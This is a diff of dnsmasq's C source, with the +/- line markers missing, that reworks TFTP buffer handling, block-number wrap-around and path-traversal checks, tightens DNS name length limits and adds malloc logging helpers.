static void tftp_request(struct listener *listen, time_t now)
static void tftp_request(char *packet, ssize_t plen, struct listener *listen, time_t now)
{
ssize_t len;
char *packet = daemon->packet;
char *filename, *mode, *p, *end;
union mysockaddr addr, peer;
struct msghdr msg;
@@ -87,12 +86,10 @@ static void tftp_request(struct listener *listen, time_t now)
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
/* packet buff is DNS name workspace. */
iov.iov_base = packet;
iov.iov_len = daemon->packet_buff_sz;
/* we overwrote the buffer... */
daemon->srv_save = NULL;
iov.iov_len = plen;
if ((len = recvmsg(listen->tftpfd, &msg, 0)) < 2)
return;
@@ -254,29 +251,30 @@ static void tftp_request(struct listener *listen, time_t now)
for (tftp_cnt = 0, transfer = daemon->tftp_trans, up = &daemon->tftp_trans; transfer; up = &transfer->next, transfer = transfer->next)
{
tftp_cnt++;
if (sockaddr_isequal(&peer, &transfer->peer))
{
if (ntohs(*((unsigned short *)packet)) == OP_RRQ)
{
/* Handle repeated RRQ or abandoned transfer from same host and port
by unlinking and reusing the struct transfer. */
by abandoning old transfer. */
*up = transfer->next;
free_transfer(transfer);
break;
}
else
{
handle_tftp(now, transfer, len);
handle_tftp(packet, now, transfer, len);
return;
}
}
tftp_cnt++;
}
/* Enforce simultaneous transfer limit. In non-single-port mode
this is done by not listening on the server socket when
too many transfers are in progress. */
if (!transfer && tftp_cnt >= daemon->tftp_max)
if (tftp_cnt >= daemon->tftp_max)
return;
}
@@ -305,12 +303,9 @@ static void tftp_request(struct listener *listen, time_t now)
#endif
}
/* May reuse struct transfer from abandoned transfer in single port mode. */
if (!transfer && !(transfer = whine_malloc(sizeof(struct tftp_transfer))))
if (!(transfer = whine_malloc(sizeof(struct tftp_transfer))))
return;
memset(transfer, 0, sizeof(struct tftp_transfer));
if (option_bool(OPT_SINGLE_PORT))
transfer->sockfd = listen->tftpfd;
else if ((transfer->sockfd = socket(family, SOCK_DGRAM, 0)) == -1)
@@ -326,6 +321,8 @@ static void tftp_request(struct listener *listen, time_t now)
transfer->start = now;
transfer->backoff = 1;
transfer->block = 1;
transfer->ackprev = 0;
transfer->block_hi = 0;
transfer->blocksize = 512;
transfer->windowsize = 1;
@@ -435,17 +432,17 @@ static void tftp_request(struct listener *listen, time_t now)
{
if (prefix[0] == '/')
daemon->namebuff[0] = 0;
strncat(daemon->namebuff, prefix, (MAXDNAME-1) - strlen(daemon->namebuff));
strncat(daemon->namebuff, prefix, MAXDNAMESTR - strlen(daemon->namebuff));
if (prefix[strlen(prefix)-1] != '/')
strncat(daemon->namebuff, "/", (MAXDNAME-1) - strlen(daemon->namebuff));
strncat(daemon->namebuff, "/", MAXDNAMESTR - strlen(daemon->namebuff));
if (option_bool(OPT_TFTP_APREF_IP))
{
size_t oldlen = strlen(daemon->namebuff);
struct stat statbuf;
strncat(daemon->namebuff, daemon->addrbuff, (MAXDNAME-1) - strlen(daemon->namebuff));
strncat(daemon->namebuff, "/", (MAXDNAME-1) - strlen(daemon->namebuff));
strncat(daemon->namebuff, daemon->addrbuff, MAXDNAMESTR - strlen(daemon->namebuff));
strncat(daemon->namebuff, "/", MAXDNAMESTR - strlen(daemon->namebuff));
/* remove unique-directory if it doesn't exist */
if (stat(daemon->namebuff, &statbuf) == -1 || !S_ISDIR(statbuf.st_mode))
@@ -476,7 +473,7 @@ static void tftp_request(struct listener *listen, time_t now)
size_t oldlen = strlen(daemon->namebuff);
struct stat statbuf;
snprintf(daemon->namebuff + oldlen, (MAXDNAME-1) - oldlen, "%.2x-%.2x-%.2x-%.2x-%.2x-%.2x/",
snprintf(daemon->namebuff + oldlen, MAXDNAMESTR - oldlen, "%.2x-%.2x-%.2x-%.2x-%.2x-%.2x/",
macaddr[0], macaddr[1], macaddr[2], macaddr[3], macaddr[4], macaddr[5]);
/* remove unique-directory if it doesn't exist */
@@ -496,20 +493,24 @@ static void tftp_request(struct listener *listen, time_t now)
}
else if (filename[0] == '/')
daemon->namebuff[0] = 0;
strncat(daemon->namebuff, filename, (MAXDNAME-1) - strlen(daemon->namebuff));
strncat(daemon->namebuff, filename, MAXDNAMESTR - strlen(daemon->namebuff));
/* check permissions and open file */
if ((transfer->file = check_tftp_fileperm(&len, prefix, daemon->addrbuff)))
if ((transfer->file = check_tftp_fileperm(packet, &len, prefix, daemon->addrbuff)))
{
transfer->lastack = transfer->block;
transfer->retransmit = now + transfer->timeout;
/* This packet is may be the first data packet, but only if windowsize == 1
To get windowsize greater then one requires an option negotiation,
in which case this packet is the OACK. */
if ((len = get_block(packet, transfer)) == -1)
if ((len = get_block(transfer)) == -1)
len = tftp_err_oops(packet, daemon->namebuff);
else
is_err = 0;
{
is_err = 0;
/* get_block put the packet to send in a different buffer. */
packet = daemon->packet;
}
}
}
}
@@ -532,9 +533,9 @@ static void tftp_request(struct listener *listen, time_t now)
}
}
static struct tftp_file *check_tftp_fileperm(ssize_t *len, char *prefix, char *client)
static struct tftp_file *check_tftp_fileperm(char *packet, ssize_t *len, char *prefix, char *client)
{
char *packet = daemon->packet, *namebuff = daemon->namebuff;
char *namebuff = daemon->namebuff;
struct tftp_file *file;
struct tftp_transfer *t;
uid_t uid = geteuid();
@@ -542,8 +543,20 @@ static struct tftp_file *check_tftp_fileperm(ssize_t *len, char *prefix, char *c
int fd = -1;
/* trick to ban moving out of the subtree */
if (prefix && strstr(namebuff, "/../"))
goto perm;
if (prefix)
{
char *suspect = namebuff;
/* Every occurrence has to be checked: a harmless leading match
such as "/..data" otherwise hides a later "/../" from here. */
while ((suspect = strstr(suspect, "/..")))
{
if (suspect[3] == '/' || suspect[3] == 0)
goto perm;
suspect += 3;
}
}
if ((fd = open(namebuff, O_RDONLY)) == -1)
{
@@ -597,6 +610,7 @@ static struct tftp_file *check_tftp_fileperm(ssize_t *len, char *prefix, char *c
file->size = statbuf.st_size;
file->dev = statbuf.st_dev;
file->inode = statbuf.st_ino;
file->posn = 0;
file->refcount = 1;
strcpy(file->filename, namebuff);
return file;
@@ -616,12 +630,15 @@ static struct tftp_file *check_tftp_fileperm(ssize_t *len, char *prefix, char *c
void check_tftp_listeners(time_t now)
{
/* Use workspace to receive (small) request/ACK, to avoid overwriting precomputed reply */
char *packet = daemon->workspacename;
ssize_t plen = MAXDNAMESTR;
struct listener *listener;
struct tftp_transfer *transfer, *tmp, **up;
for (listener = daemon->listeners; listener; listener = listener->next)
if (listener->tftpfd != -1 && poll_check(listener->tftpfd, POLLIN))
tftp_request(listener, now);
tftp_request(packet, plen, listener, now);
/* In single port mode, all packets come via port 69 and tftp_request() */
if (!option_bool(OPT_SINGLE_PORT))
@@ -632,26 +649,23 @@ void check_tftp_listeners(time_t now)
socklen_t addr_len = sizeof(union mysockaddr);
ssize_t len;
/* we overwrote the buffer... */
daemon->srv_save = NULL;
if ((len = recvfrom(transfer->sockfd, daemon->packet, daemon->packet_buff_sz, 0, &peer.sa, &addr_len)) > 0)
if ((len = recvfrom(transfer->sockfd, packet, plen, 0, &peer.sa, &addr_len)) > 0)
{
#ifdef HAVE_DUMPFILE
dump_packet_udp(DUMP_TFTP, (void *)daemon->packet, len, (union mysockaddr *)&peer, NULL, transfer->sockfd);
dump_packet_udp(DUMP_TFTP, (void *)packet, len, (union mysockaddr *)&peer, NULL, transfer->sockfd);
#endif
if (sockaddr_isequal(&peer, &transfer->peer))
handle_tftp(now, transfer, len);
handle_tftp(packet, now, transfer, len);
else
{
/* Wrong source address. See rfc1350 para 4. */
prettyprint_addr(&peer, daemon->addrbuff);
len = tftp_err(ERR_TID, daemon->packet, _("ignoring packet from %s (TID mismatch)"), daemon->addrbuff, NULL);
while(retry_send(sendto(transfer->sockfd, daemon->packet, len, 0, &peer.sa, sa_len(&peer))));
len = tftp_err(ERR_TID, packet, _("ignoring packet from %s (TID mismatch)"), daemon->addrbuff, NULL);
while(retry_send(sendto(transfer->sockfd, packet, len, 0, &peer.sa, sa_len(&peer))));
#ifdef HAVE_DUMPFILE
dump_packet_udp(DUMP_TFTP, (void *)daemon->packet, len, NULL, (union mysockaddr *)&peer, transfer->sockfd);
dump_packet_udp(DUMP_TFTP, (void *)packet, len, NULL, (union mysockaddr *)&peer, transfer->sockfd);
#endif
}
}
@@ -671,7 +685,7 @@ void check_tftp_listeners(time_t now)
endcon = 1;
/* don't complain about timeout when we're awaiting the last
ACK, some clients never send it */
if (get_block(daemon->packet, transfer) > 0)
if (get_block(transfer) > 0)
error = timeout = 1;
}
else if (difftime(now, transfer->retransmit) >= 0.0)
@@ -680,41 +694,43 @@ void check_tftp_listeners(time_t now)
bumps transfer->lastack and trips the retransmit timer so that we send the next block(s)
here. */
ssize_t len;
unsigned int i, winsize;
transfer->retransmit += transfer->timeout + (1<<(transfer->backoff/2));
transfer->backoff++;
transfer->block = transfer->lastack;
if ((len = get_block(daemon->packet, transfer)) == 0)
endcon = 1; /* got last ACK */
else
/* send a window'a worth of blocks unless we're retransmitting OACK */
winsize = transfer->block ? transfer->windowsize : 1;
for (i = 0; i < winsize; i++, transfer->block++)
{
/* send a window'a worth of blocks unless we're retransmitting OACK */
unsigned int i, winsize = transfer->block ? transfer->windowsize : 1;
for (i = 0; i < winsize && !endcon; i++, transfer->block++)
if ((len = get_block(transfer)) == 0)
{
if (i != 0)
len = get_block(daemon->packet, transfer);
if (i == 0)
endcon = 1; /* got last ACK */
if (len == 0)
break;
if (len == -1)
{
len = tftp_err_oops(daemon->packet, transfer->file->filename);
endcon = error = 1;
}
send_from(transfer->sockfd, !option_bool(OPT_SINGLE_PORT), daemon->packet, len,
&transfer->peer, &transfer->source, transfer->if_index);
#ifdef HAVE_DUMPFILE
dump_packet_udp(DUMP_TFTP, (void *)daemon->packet, len, NULL, (union mysockaddr *)&transfer->peer, transfer->sockfd);
#endif
break;
}
}
}
if (len == -1)
{
len = tftp_err_oops(daemon->packet, transfer->file->filename);
endcon = error = 1;
}
send_from(transfer->sockfd, !option_bool(OPT_SINGLE_PORT), daemon->packet, len,
&transfer->peer, &transfer->source, transfer->if_index);
#ifdef HAVE_DUMPFILE
dump_packet_udp(DUMP_TFTP, (void *)daemon->packet, len, NULL, (union mysockaddr *)&transfer->peer, transfer->sockfd);
#endif
}
/* prefetch the block we'll probably need when we get an ACK. */
if (!endcon)
get_block(transfer);
}
if (endcon)
{
strcpy(daemon->namebuff, transfer->file->filename);
@@ -743,23 +759,36 @@ void check_tftp_listeners(time_t now)
}
}
/* packet in daemon->packet as this is called. */
static void handle_tftp(time_t now, struct tftp_transfer *transfer, ssize_t len)
static void handle_tftp(char *packet, time_t now, struct tftp_transfer *transfer, ssize_t len)
{
struct ack {
unsigned short op, block;
} *mess = (struct ack *)daemon->packet;
} *mess = (struct ack *)packet;
if (len >= (ssize_t)sizeof(struct ack))
{
if (ntohs(mess->op) == OP_ACK)
{
/* try and handle 16-bit blockno wrap-around */
unsigned int block = (unsigned short)ntohs(mess->block);
if (block < transfer->lastack)
block |= transfer->block & 0xffff0000;
/* ignore duplicate ACKs and ACKs for blocks we've not yet sent. */
/* Handle 16-bit block number wrap-around. */
u16 new = ntohs(mess->block);
u32 block;
/* If the last ack received was in the top quarter of a 64k block
and this one is in the bottom quarter, assume it has wrapped.
Since this is UDP and an old packet can in theory wander in we may also
need to drop back to a previous segment. Such an ACK is ignored below;
here we're just getting the most likely 32 bit value from the
16 bits that we have. */
if (new <= 0x4000 && transfer->ackprev >= 0xc000)
transfer->block_hi++;
else if (new >= 0xc000 && transfer->ackprev <= 0x4000 && transfer->block_hi != 0)
transfer->block_hi--;
transfer->ackprev = new;
block = (((u32)transfer->block_hi) << 16) + (u32)new;
/* Ignore duplicate ACKs and ACKs for blocks we've not yet sent. */
if (block >= transfer->lastack &&
block <= transfer->block)
{
@@ -767,20 +796,23 @@ static void handle_tftp(time_t now, struct tftp_transfer *transfer, ssize_t len)
transfer->retransmit = transfer->start = now;
transfer->backoff = 0;
transfer->lastack = block + 1;
/* We have no easy function from block no. to file offset when
expanding line breaks in netascii mode, so we update the offset here
as each block is acknowledged. This explains why the window size must be
one for a netascii transfer; to avoid the block no. doing anything
other than incrementing by one. */
if (transfer->netascii && block != 0)
transfer->offset += transfer->blocksize - transfer->expansion;
{
transfer->offset += (off_t)transfer->blocksize - (off_t)transfer->expansion;
transfer->lastcarrylf = transfer->carrylf;
}
}
}
else if (ntohs(mess->op) == OP_ERR)
{
char *p = daemon->packet + sizeof(struct ack);
char *end = daemon->packet + len;
char *p = packet + sizeof(struct ack);
char *end = packet + len;
char *err = next(&p, end);
(void)prettyprint_addr(&transfer->peer, daemon->addrbuff);
@@ -811,6 +843,12 @@ static void free_transfer(struct tftp_transfer *transfer)
close(transfer->file->fd);
free(transfer->file);
}
/* freeing this transfer and then allocating a new one
may result in the same memory, but the contents of
the transfer is no longer valid to cache. */
if (daemon->srv_save == transfer)
daemon->srv_save = NULL;
free(transfer);
}
@@ -830,7 +868,7 @@ static char *next(char **p, char *end)
return ret;
}
/* If we don't do anything, don't write the the input/ouptut
/* If we don't do anything, don't write the input/output
buffer. This allows us to pass in safe read-only strings constants. */
static void sanitise(char *buf)
{
@@ -857,10 +895,6 @@ static ssize_t tftp_err(int err, char *packet, char *message, char *file, char *
} *mess = (struct errmess *)packet;
ssize_t len, ret = 4;
/* we overwrote the buffer... */
daemon->srv_save = NULL;
memset(packet, 0, daemon->packet_buff_sz);
if (file)
sanitise(file);
@@ -884,12 +918,10 @@ static ssize_t tftp_err_oops(char *packet, const char *file)
}
/* return -1 for error, zero for done. */
static ssize_t get_block(char *packet, struct tftp_transfer *transfer)
static ssize_t get_block(struct tftp_transfer *transfer)
{
memset(packet, 0, daemon->packet_buff_sz);
/* we overwrote the buffer... */
daemon->srv_save = NULL;
static off_t saved_offset = 0;
static ssize_t saved_len = 0;
if (transfer->block == 0)
{
@@ -898,8 +930,12 @@ static ssize_t get_block(char *packet, struct tftp_transfer *transfer)
struct oackmess {
unsigned short op;
char data[];
} *mess = (struct oackmess *)packet;
} *mess = (struct oackmess *)daemon->packet;
/* we overwrote the buffer... */
daemon->srv_save = NULL;
memset(daemon->packet, 0, daemon->packet_buff_sz);
p = mess->data;
mess->op = htons(OP_OACK);
if (transfer->opt_blocksize)
@@ -923,7 +959,7 @@ static ssize_t get_block(char *packet, struct tftp_transfer *transfer)
p += (sprintf(p, "%u", (unsigned int)transfer->windowsize) + 1);
}
return p - packet;
return p - daemon->packet;
}
else
{
@@ -931,44 +967,58 @@ static ssize_t get_block(char *packet, struct tftp_transfer *transfer)
struct datamess {
unsigned short op, block;
unsigned char data[];
} *mess = (struct datamess *)packet;
} *mess = (struct datamess *)daemon->packet;
size_t size;
if (!transfer->netascii)
transfer->offset = (transfer->block - 1) * transfer->blocksize;
transfer->offset = (off_t)(transfer->block - 1) * (off_t)transfer->blocksize;
if (transfer->offset > transfer->file->size)
return 0; /* finished */
if ((size = transfer->file->size - transfer->offset) > transfer->blocksize)
size = transfer->blocksize;
/* We may have a prefetched block already in the buffer. */
if (daemon->srv_save == transfer && saved_offset == transfer->offset)
return saved_len;
/* we overwrote the buffer... */
daemon->srv_save = NULL;
if ((size = transfer->file->size - transfer->offset) > (size_t)transfer->blocksize)
size = (size_t)transfer->blocksize;
mess->op = htons(OP_DATA);
mess->block = htons((unsigned short)(transfer->block));
if (size != 0 &&
(lseek(transfer->file->fd, transfer->offset, SEEK_SET) == (off_t)-1 ||
!read_write(transfer->file->fd, mess->data, size, RW_READ)))
return -1;
if (size != 0)
{
if (transfer->file->posn != transfer->offset &&
lseek(transfer->file->fd, transfer->offset, SEEK_SET) == (off_t)-1)
return -1;
if (!read_write(transfer->file->fd, mess->data, size, RW_READ))
return -1;
transfer->file->posn = transfer->offset + size;
}
/* Map '\n' to CR-LF in netascii mode */
if (transfer->netascii)
{
size_t i;
int newcarrylf;
/* Map '\n' to CR-LF in netascii mode */
transfer->expansion = transfer->carrylf = 0;
transfer->expansion = 0;
for (i = 0, newcarrylf = 0; i < size; i++)
if (mess->data[i] == '\n' && (i != 0 || !transfer->carrylf))
for (i = 0; i < size; i++)
if (mess->data[i] == '\n' && (i != 0 || !transfer->lastcarrylf))
{
transfer->expansion++;
if (size != transfer->blocksize)
size++; /* room in this block */
else if (i == size - 1)
newcarrylf = 1; /* don't expand LF again if it moves to the next block */
transfer->carrylf = 1; /* don't expand LF again if it moves to the next block */
/* make space and insert CR */
memmove(&mess->data[i+1], &mess->data[i], size - (i + 1));
@@ -976,11 +1026,13 @@ static ssize_t get_block(char *packet, struct tftp_transfer *transfer)
i++;
}
transfer->carrylf = newcarrylf;
}
return size + 4;
daemon->srv_save = transfer;
saved_offset = transfer->offset;
saved_len = size + 4;
return saved_len;
}
}
+1 -1
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
+234 -95
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -105,8 +105,6 @@ u32 rand32(void)
u64 rand64(void)
{
static int outleft = 0;
if (outleft < 2)
{
if (!++in[0]) if (!++in[1]) if (!++in[2]) ++in[3];
@@ -138,14 +136,15 @@ static int check_name(char *in)
{
/* remove trailing .
also fail empty string and label > 63 chars */
size_t dotgap = 0, l = strlen(in);
size_t dotgap = 0, wiresize = 0, l = strlen(in);
char c;
int nowhite = 0;
int idn_encode = 0;
int hasuscore = 0;
int hasucase = 0;
if (l == 0 || l > MAXDNAME) return 0;
if (l == 0)
return 0;
if (in[l-1] == '.')
{
@@ -156,7 +155,10 @@ static int check_name(char *in)
for (; (c = *in); in++)
{
if (c == '.')
dotgap = 0;
{
wiresize += dotgap + 1;
dotgap = 0;
}
else if (++dotgap > MAXLABEL)
return 0;
else if (isascii((unsigned char)c) && iscntrl((unsigned char)c))
@@ -198,6 +200,10 @@ static int check_name(char *in)
idn_encode = idn_encode || hasucase;
#endif
/* length of final label and terminaton added */
if (!idn_encode && wiresize + dotgap + 2 > MAXDNAME)
return 0; /* wire representation too long */
return (idn_encode) ? 2 : 1;
}
@@ -266,6 +272,10 @@ char *canonicalise(char *in, int *nomem)
return NULL;
}
/* IDN library doesnt call our malloc wrapper, so log this by steam */
if (ret)
malloc_log(ret, strlen(ret)+1);
return ret;
}
@@ -281,20 +291,24 @@ char *canonicalise(char *in, int *nomem)
return ret;
}
unsigned char *do_rfc1035_name(unsigned char *p, char *sval, char *limit)
unsigned char *do_rfc1035_name(unsigned char *p, char *sval, unsigned char *limit)
{
int j;
/* Never make a name larger than the RFC limit */
if (!limit || (limit - p > MAXDNAME))
limit = p + MAXDNAME;
while (sval && *sval)
{
unsigned char *cp = p++;
if (limit && p > (unsigned char*)limit)
if (p > limit)
return NULL;
for (j = 0; *sval && (*sval != '.'); sval++, j++)
{
if (limit && p + 1 > (unsigned char*)limit)
if (p + 1 > limit)
return NULL;
if (*sval == NAME_ESCAPE)
@@ -323,13 +337,15 @@ void *safe_malloc(size_t size)
}
/* Ensure limited size string is always terminated.
* Can be replaced by (void)strlcpy() on some platforms */
Can be replaced by (void)strlcpy() on some platforms.
src may be NULL in which case we return an empty string. */
void safe_strncpy(char *dest, const char *src, size_t size)
{
if (size != 0)
{
dest[size-1] = '\0';
strncpy(dest, src, size-1);
dest[0] = dest[size-1] = '\0';
if (src)
strncpy(dest, src, size-1);
}
}
@@ -341,26 +357,6 @@ void safe_pipe(int *fd, int read_noblock)
die(_("cannot create pipe: %s"), NULL, EC_MISC);
}
void *whine_malloc(size_t size)
{
void *ret = calloc(1, size);
if (!ret)
my_syslog(LOG_ERR, _("failed to allocate %d bytes"), (int) size);
return ret;
}
void *whine_realloc(void *ptr, size_t size)
{
void *ret = realloc(ptr, size);
if (!ret)
my_syslog(LOG_ERR, _("failed to reallocate %d bytes"), (int) size);
return ret;
}
int sockaddr_isequal(const union mysockaddr *s1, const union mysockaddr *s2)
{
if (s1->sa.sa_family == s2->sa.sa_family)
@@ -443,10 +439,14 @@ int hostname_issubdomain(char *a, char *b)
for (ap = a; *ap; ap++);
for (bp = b; *bp; bp++);
/* a shorter than b or a empty. */
if ((bp - b) < (ap - a) || ap == a)
/* anything is a subdomain of the root domain. */
if (ap == a)
return (bp == b) ? 2 : 1;
/* b shorter than a */
if ((bp - b) < (ap - a))
return 0;
do
{
c1 = (unsigned char) *(--ap);
@@ -470,7 +470,6 @@ int hostname_issubdomain(char *a, char *b)
return 0;
}
time_t dnsmasq_time(void)
{
#ifdef HAVE_BROKEN_RTC
@@ -595,6 +594,7 @@ void prettyprint_time(char *buf, unsigned int t)
else
{
unsigned int x, p = 0;
buf[0] = '\0';
if ((x = t/86400))
p += sprintf(&buf[p], "%ud", x);
if ((x = (t/3600)%24))
@@ -692,44 +692,24 @@ int memcmp_masked(unsigned char *a, unsigned char *b, int len, unsigned int mask
return count;
}
/* _note_ may copy buffer */
int expand_buf(struct iovec *iov, size_t size)
char *print_mac(unsigned char *mac, int len)
{
void *new;
if (size <= (size_t)iov->iov_len)
return 1;
if (!(new = whine_malloc(size)))
{
errno = ENOMEM;
return 0;
}
if (iov->iov_base)
{
memcpy(new, iov->iov_base, iov->iov_len);
free(iov->iov_base);
}
iov->iov_base = new;
iov->iov_len = size;
return 1;
}
char *print_mac(char *buff, unsigned char *mac, int len)
{
char *p = buff;
int i;
if (len == 0)
sprintf(p, "<null>");
else
for (i = 0; i < len; i++)
p += sprintf(p, "%.2x%s", mac[i], (i == len - 1) ? "" : ":");
static struct iovec buff = { NULL, 0 };
return buff;
/* each byte is two digits plus ':' except that last
which is two digits plus terminator. */
if (len == 0 || !expand_buf(&buff, len*3))
return "<null>";
else
{
char *p = buff.iov_base;
int i;
for (i = 0; i < len; i++)
p += sprintf(p, "%.2x%s", mac[i], (i == len - 1) ? "" : ":");
}
return buff.iov_base;
}
/* rc is return from sendto and friends.
@@ -777,43 +757,60 @@ int retry_send(ssize_t rc)
"once" fails on EAGAIN, as this a timeout.
This indicates a timeout of a TCP socket.
*/
int read_write(int fd, unsigned char *packet, int size, int rw)
int read_writev(int fd, struct iovec *iov, int iovcnt, int rw)
{
ssize_t n, done;
for (done = 0; done < size; done += n)
{
if (rw & 1)
n = read(fd, &packet[done], (size_t)(size - done));
else
n = write(fd, &packet[done], (size_t)(size - done));
if (n == 0)
return 0;
int cur = 0;
ssize_t n, done = 0;
while (cur < iovcnt)
{
iov[cur].iov_len -= done;
iov[cur].iov_base = ((char *)iov[cur].iov_base) + done;
if (rw & 1)
n = readv(fd, &iov[cur], iovcnt - cur);
else
n = writev(fd, &iov[cur], iovcnt - cur);
iov[cur].iov_len += done;
iov[cur].iov_base = ((char *)iov[cur].iov_base) - done;
if (n == -1)
{
n = 0; /* don't mess with counter when we loop. */
if (errno == EINTR || errno == ENOMEM || errno == ENOBUFS)
continue;
if (errno == EAGAIN || errno == EWOULDBLOCK)
{
/* "once" variant */
if (rw & 2)
return 0;
continue;
}
if (!(rw & 2) && (errno == EAGAIN || errno == EWOULDBLOCK))
continue;
return 0;
}
if (n == 0 && (rw & 1))
return 0;
done += n;
while (cur < iovcnt && (size_t)done >= iov[cur].iov_len)
done -= iov[cur++].iov_len;
}
return 1;
}
int read_write(int fd, unsigned char *packet, int size, int rw)
{
struct iovec iov;
/* size == 0 is not an error, just a NOOP. */
if (size == 0)
return 1;
iov.iov_len = (size_t)size;
iov.iov_base = packet;
return read_writev(fd, &iov, 1, rw);
}
/* close all fds except STDIN, STDOUT and STDERR, spare1, spare2 and spare3 */
void close_fds(long max_fd, int spare1, int spare2, int spare3)
{
@@ -949,3 +946,145 @@ int kernel_version(void)
return version * 256 + (split ? atoi(split) : 0);
}
#endif
#define hash_ptr(x) (((uintptr_t)(x)) & 0xffffff)
void *whine_malloc_real(const char *func, unsigned int line, size_t size)
{
void *ret = calloc(1, size);
if (!ret)
my_syslog(LOG_ERR, _("failed to allocate %d bytes"), (int) size);
else if (daemon->log_malloc)
my_syslog(LOG_INFO, _("malloc: %s:%u %zu bytes at %x"), func, line, size, hash_ptr(ret));
return ret;
}
void *whine_realloc_real(const char *wrapper, const char *func, unsigned int line, void *ptr, size_t size)
{
unsigned int old = hash_ptr(ptr);
void *ret = realloc(ptr, size);
if (!ret)
my_syslog(LOG_ERR, _("failed to reallocate %d bytes"), (int) size);
else if (daemon->log_malloc)
{
if (!wrapper)
wrapper = "realloc";
my_syslog(LOG_INFO, _("%s: %s:%u %zu bytes from %x to %x"), wrapper, func, line, size, old, hash_ptr(ret));
}
return ret;
}
/* _note_ may copy buffer */
int expand_buf_real(const char *func, unsigned int line, struct iovec *iov, size_t size)
{
void *new;
if (size <= (size_t)iov->iov_len)
return 1;
if (!(new = whine_realloc_real("expand_buf", func, line, iov->iov_base, size)))
{
errno = ENOMEM;
return 0;
}
iov->iov_base = new;
iov->iov_len = size;
return 1;
}
int expand_workspace_real(const char *func, unsigned int line, unsigned char ***wkspc, int *szp, int new)
{
unsigned char **p;
int old = *szp;
if (old >= new+1)
return 1;
new += 5;
if (!(p = whine_realloc_real("expand_workspace", func, line, *wkspc, new * sizeof(unsigned char *))))
return 0;
memset(p+old, 0, (new-old) * sizeof(unsigned char *));
*wkspc = p;
*szp = new;
return 1;
}
void malloc_log_real(const char *func, unsigned int line, void *mem, size_t size)
{
if (mem && daemon->log_malloc)
my_syslog(LOG_INFO, _("malloc: %s:%u %zu bytes at %x"), func, line, size, hash_ptr(mem));
}
#undef free
void free_real(const char *func, unsigned int line, void *ptr)
{
if (ptr)
{
if (daemon->log_malloc)
my_syslog(LOG_INFO, _("free: %s:%u block at %x"), func, line, hash_ptr(ptr));
free(ptr);
}
}
/* get lines from f, expand buffer as required. Buffer is freed when
EOF reached and we return zero. Buffer also freed if f == NULL. */
int get_line_alloc(FILE *f, char **buffp, size_t *sizep)
{
size_t cnt = 0;
char *buff = *buffp;
while (1) {
int c = f ? getc(f) : EOF;
if (cnt == *sizep)
{
void *new;
if ((new = whine_realloc(buff, cnt + 1024)))
{
buff = *buffp = new;
*sizep = cnt + 1024;
}
else
{
/* allocation failed, ignore line.
Whine_realloc will have complained. */
while (c != '\n' && c != EOF)
c = getc(f);
cnt = 0;
continue;
}
}
buff[cnt] = 0;
if (c == '\n')
return 1;
if (c == EOF)
{
/* handle last line without '\n' */
if (cnt != 0)
return 1;
free(buff);
*buffp = NULL;
*sizep = 0;
return 0;
}
buff[cnt++] = c;
}
}